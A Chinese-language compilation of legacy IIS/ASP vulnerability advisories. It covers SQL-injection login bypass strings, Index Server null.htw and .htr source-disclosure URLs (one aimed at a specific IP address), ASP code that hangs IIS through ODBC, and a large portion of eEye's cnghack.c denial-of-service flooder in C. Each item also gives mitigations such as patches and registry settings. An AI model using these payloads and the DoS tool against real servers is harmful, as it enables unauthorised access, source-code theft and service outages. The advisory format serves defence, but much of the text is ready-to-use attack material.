6、ASP程序密码验证漏洞 漏洞描述: 很多网站把密码放到数据库中,在登陆验证中用以下sql,(以asp为例) sql="select * from user where username="&username&"and pass="& pass &" 此时,您只要根据sql构造一个特殊的用户名和密码,如:ben or 1=1就可以进入本来你没有特权的页面。再来看看上面那 个语句吧: sql="select * from user where username="&username&"and pass="& pass&" 此时,您只要根据sql构造一个特殊的用户名和密码,如:ben or 1=1 这样,程序将会变成这样: sql="select*from username where username="&benor1=1&"and pass="&pass&" or 是一个逻辑运算符,作用是在判断两个条件的时候,只要其中一个条件成立,那么等式将会成立.而在语言中,是以1来代表真的(成立 ).那么在这行语句中,原语句的"and"验证将不再继续,而因为"1=1"和"or"令语句返回为真值。 另外我们也可以构造以下的用户名: username=aa or username<>aa pass=aa or pass<>aa 相应的在浏览器端的用户名框内写入:aa or username<>aa 口令框内写入:aa or pass<>aa,注意这两个字符串两头是没 有的。这样就可以成功的骗过系统而进入。 后一种方法理论虽然如此,但要实践是非常困难的,下面两个条件都必须具备。 1. 你首先要能够准确的知道系统在表中是用哪两个字段存储用户名和口令的,只有这样你才能准确的构造出这个进攻性的字符 串。实际上这是很难猜中的。 2.系统对你输入的字符串不进行有效性检查。 问题解决和建议: 对输入的内容验证和""号的处理。
7、IIS4或者IIS5中安装有INDEX SERVER服务会漏洞ASP源程序 问题描述: 在运行IIS4或者IIS5的Index Server,输入特殊的字符格式可以看到ASP源程序或者其它页面的程序。甚至以及添打了最近关 于参看源代码的补丁程序的系统,或者没有.htw文件的系统,一样存在该问题。获得asp程序,甚至global.asa文件的源代码,无疑 对系统是一个非常重大的安全隐患。往往这些代码中包含了用户密码和ID,以及数据库的源路径和名称等等。这对于攻击者收集系统 信息,进行下一步的入侵都是非常重要的。 通过构建下面的特殊程序可以参看该程序源代码: http://202.116.26.38/null.htw?CiWebHitsFile=/default.asp&CiRestriction=none&CiHiliteType=Full 这样只是返回一些html格式的文件代码,但是当你添加%20到CiWebHitsFile的参数后面,如下: http://someurl/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full 这将获得该程序的源代码。 (注意:/default.asp是以web的根开始计算。如某站点的http:///welcome/welcome.asp 那么对应就是: http://someurl/null.htw?CiWebHitsFile=/welcome/welcome.asp%20&CiRestriction=none&CiHiliteType=Full ) 由于null.htw文件并非真正的系统映射文件,所以只是一个储存在系统内存中的虚拟文件。哪怕你已经从你的系统中删除了所 有的真实的.htw文件,但是由于对null.htw文件的请求默认是由webhits.dll来处理。所以,IIS仍然收到该漏洞的威胁。 问题解决或者建议: 如果该webhits提供的功能是系统必须的,请下载相应的补丁程序。如果没必要,请用IIS的MMC管理工具简单移除.htw的映象文 件。 补丁程序如下: Index Server 2.0: Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17727 Alpha: http://www.microsoft.com/downloads/release.asp?ReleaseID=17728 Indexing Services for Windows 2000: Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17726
10、 IIS web server DOS 漏洞描述: 默认情况下,IIS容易被拒绝服务攻击。如果注册表中有一个叫 "MaxClientRequestBuffer" 的键未被创建,针对这种NT系统 的攻击通常能奏效。 "MaxClientRequestBuffer" 这个键用于设置IIS允许接受的输入量。如果 "MaxClientRequestBuffer" 设置为256(bytes),则攻击者通过输入大量的字符请求IIS将被限制在256字节以内。而系统的缺省设置对此不加限制,因此,利用 下面的程序。可以很容易地对IIS server实行DOS攻击: #include <stdio.h> #include <windows.h> #define MAX_THREAD 666 void cng(); char *server; char *buffer; int port; int counter = 0; int current_threads = 0; int main(int argc, char **argv) { WORD tequila; WSADATA data; int p; DWORD tid; HANDLE hThread[2000]; //This code is as is and sucks as it is. Wont exit correctly and a lot of other fun things. //That I didnt want to take the time to do. So just ctrl+c out of the code. //Load up cnghack.exe 3 times for charm. printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my beloved.\"\n"); if(argc<2){ printf("Usage: %s [server] [port]\n",argv[0]); exit(1); } buffer=malloc(17500); memset( buffer, A, strlen(buffer)); server=argv[1]; port=atoi(argv[2]); tequila = MAKEWORD( 1, 1 ); printf("Attempting to start winsock... "); if( (WSAStartup(tequila, &data)) !=0 ){ printf("failed to start winsock.\n"); exit(1); } else{ printf("started winsock.\n\n"); }
void cng() { int SockFD=0, p; struct sockaddr_in DstSAin; char GETKILLED[]="GET / HTTP/\r\n"; int die=1; printf("Entered CNG\n"); ++current_threads; DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons((u_short)port); DstSAin.sin_addr.s_addr=inet_addr( server ); if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){ printf("Failed to create socket\n"); --current_threads; return; } if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { p=send(SockFD,GETKILLED,strlen(GETKILLED),0); printf("Step 1: %i\n", p); for(;;){ p=send(SockFD,buffer,strlen(buffer),0); printf("P: %i\n", p); //put in some code to check if send = -1 more then X times we drop the loop and exit the thread //bla bla bla i love the dirtiness of concept code. } } --current_threads; printf("Exited CNG\n"); return; }
cnghack.c works by doing the following: Connects to example.com Sends: GET / HTTP/[return][buffer]
Where: [return] is just an \r\n [buffer] is a never ending stream of As
攻击结果将导致NT系统的CPU占用率达到 100% 解决方案 运行Regedt32.exe 在:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters 增加一个值: Value Name: MaxClientRequestBuffer Data Type: REG_DWORD 设置为十进制 具体数值设置为你想设定的IIS允许接受的URL最大长度。 CNNS的设置为256
11、MS ODBC数据库连接溢出导致NT/9x拒绝服务攻击 漏 洞 描 述: Microsoft ODBC数据库在连接和断开时可能存在潜在的溢出问题(Microsoft ACCESS数据库相关)。 如果不取消连接而直接和第二个数据库相连接,可能导致服务停止。 影响系统: ODBC 版本: 3.510.3711.0 ODBC Access驱动版本: 3.51.1029.00 OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386) Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507) 漏洞检测方法如下: ODBC 连接源名称: miscdb ODBC 数据库型号: MS Access ODBC 假设路径: d:\data\misc.mdb ASP代码如下: <% set connVB = server.createobject("ADODB.Connection") connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb" %> <html> <body> ...lots of html removed... <!-- We Connect to DB1 --> <% set connGlobal = server.createobject("ADODB.Connection") connGlobal.Open "DSN=miscdb;User=sa" mSQL = "arb SQL Statement" set rsGlobal = connGlobal.execute(mSQL) While not rsGlobal.eof Response.Write rsGlobal("resultfrommiscdb") rsGlobal.movenext wend rsGlobal.close set rsGlobal = nothing connGlobal.close set connGlobal = nothing Note we do NOT close the connection %> <!-- Call the same database by means of DBQ direct file access --> <% set connGlobal = server.createobject("ADODB.Connection") connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=d:\data\misc.mdb" mSQL = "arb SQL Statement" set rsGlobal = connGlobal.execute(mSQL) While not rsGlobal.eof Response.Write rsGlobal("resultfrommiscdb") rsGlobal.movenext wend rsGlobal.close set rsGlobal = nothing connGlobal.close set connGlobal = nothing Note we DO close the connection %> 在这种情况下,IIS处理进程将会停顿,CPU使用率由于inetinfo.exe进程将达到100%。只有重新启动计算机才能恢复。
13、利用Activer server explorer可对文件进行读写访问 漏洞描述: chinaasp的Activer server explorer可以很方便的对本地文件在线查看服务器上的目录 在线查看文件的名称、大小、类型、 修改时间,在线编辑纯文本文件,如.txt、.htm、.asp、.pl、.cgi等等,直接执行服务器上的文件。 Activer server explorer要求填写相对路径或者绝对路径,但是假如:有一个攻击者把Activer server explorer上传到目 标服务器上的某个目录,并且这个目录支持ASP的话,那么他就可以通过Activer server explorer修改、执行目标服务器上的文件 。这种情况可以发生在一个攻击者拥有目标NT服务器上的一个可写目录帐号,并且这个目录又支持ASP。比如一些支持ASP的个人免费 主页服务器,把Activer server explorer先传上你申请的免费主页空间,再通过各种方法得到目标服务器的路径,(比如可通过漏 洞:"请求不存在的扩展名为idq或ida 文件,会暴露文件在服务器上的物理地址.").或者直接在相对路径上填".",一般是默认。这 样攻击者就能任意修改,执行目标服务器上的文件,不管他对这个文件有无读写访问权。 所以那些提供有ASP服务的个人主页或者其它服务的服务器,就要加倍小心这种攻击了。 漏洞解决方法 其实Activer server explorer就是利用了上面讲的漏洞 4 filesystemobject 组件篡改下载 fat 分区上的任何文件的漏 洞。 那么我们如何才能限制用户使用FileSystemObject对象呢?一种极端的做法是完全反注册掉提供FileSystemObject对象的那个 组件,也就是Scrrun.dll。具体的方法如下: 在MS-DOS状态下面键入: Regsvr32 /u c:\windows\system\scrrun.dll (注意:在实际操作的时候要更改成为你本地的实际路径) 但是这样的话,就不能使用FileSystemObject对象了,有时利用FileSystemObject对象来管理文件是很方便,有什么办法能 两全其美呢? 我们可以做到禁止他人非法使用FileSystemObject对象,但是我们自己仍然可以使用这个对象. 方法如下: 查找注册表中 HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值 将其更改成为你想要的字符串(右键-->"重命名"),比如更改成为 HKEY_CLASSES_ROOT\Scripting.FileSystemObject2 这样,在ASP就必须这样引用这个对象了: Set fso = CreateObject("Scripting.FileSystemObject2") 而不能使用: Set fso = CreateObject("Scripting.FileSystemObject") 如果你使用通常的方法来调用FileSystemObject对象就会无法使用了。 只要你不告诉别人这个更改过的对象名称,其他人是无法使用FileSystemObject对象的。这样,作为站点管理者我们就杜绝了 他人非法使用FileSystemObject对象,而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了!
14、 IIS4.0/IIS5.0超长文件名请求存在漏洞 漏洞描述: 受影响的版本: Microsoft IIS 5.0 + Microsoft Windows NT 2000 Microsoft IIS 4.0 + Microsoft Windows NT 4.0 + Microsoft BackOffice 4.5 - Microsoft Windows NT 4.0 + Microsoft BackOffice 4.0 - Microsoft Windows NT 4.0 当在一个已知的文件名后加230个"%20"再加个.htr,会使安装有Microsoft IIS 4.0/5.0泄漏该文件的内容。这是由ISM.dll映 射的.htr文件引起的.比如:http://target/filename%20<重复230次>.htr 这种请求只有当.htr请求是第一次调用或者ISM.dll第一次装载进内存,才能起作用。 解决方法: 安装补丁: Microsoft IIS 5.0: http://download.microsoft.com/download/win2000platform/Patch/Q249599/NT5/EN-US/Q249599_W2K_SP1_X86_en.EXE Microsoft IIS 4.0: http://download.microsoft.com/download/iis40/Patch/Q260838/NT4ALPHA/EN-US/ismpst4i.exe